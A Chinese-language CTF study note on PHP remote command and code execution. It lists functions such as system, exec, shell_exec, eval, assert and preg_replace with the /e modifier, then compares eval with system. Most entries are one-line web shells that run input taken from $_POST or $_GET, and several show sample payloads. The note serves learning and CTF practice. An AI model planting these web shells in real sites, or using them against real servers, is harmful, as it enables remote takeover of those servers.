在CTF中,命令执行一般发生在远程,故被称为远程命令执行,即RCE(Remote Command Exec),也被成为RCE(Remote Code Exec)

命令执行函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1-system
<?php system($_POST["cmd"]);?>

2-passthru
<?php passthru($_POST["cmd"]);?>

3-exec
<?php echo exec($_POST["cmd"]);?>

4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

7-``
<?php echo `whoami`?>

8-
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami

代码执行函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1-eval
<?php eval($_POST["cmd"]) ?>

2-assert
<?php assert($_POST["cmd"]) ?>

3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();

5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo

6-preg_replace()

#preg_replace('正则规则','替换字符','目标字符')
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

eval()函数和system()函数的比较

今天写命令执行博客的时候发现eval函数和system函数两者用起来有很大区别,这才记起来以前学到过eval是代码执行而system是命令执行,时间太久都忘记了,所以再复习一遍。

虽然代码执行漏洞和命令执行漏洞在提交漏洞时分的没那么详细,但我们在学习时还是要学会区分不同的概念。

eval类型函数是代码执行而不是命令执行

system类型函数是命令执行而不是代码执行

eval函数里必须是一个符合php语法的语句,如果语句结尾没有分号会报错:eval()’d code

1
2
3
4
<?php
eval("echo 1+1;"); //2
system("echo 1+1;"); //1+1;
?>

1
2
3
4
5
<?php
$num=1;
eval("\$a = $num;"); //有效,$a=1
system("\$b = $num;"); //无效,$b=NULL
?>
1
2
3
4
<?php
eval("phpinfo();"); //phpinfo()被执行
system("phpinfo()"); //phpinfo()不被执行
?>
1
2
3
4
<?php
system("whoami"); //whoami命令被执行
eval("whoami"); //whoami命令不被执行
?>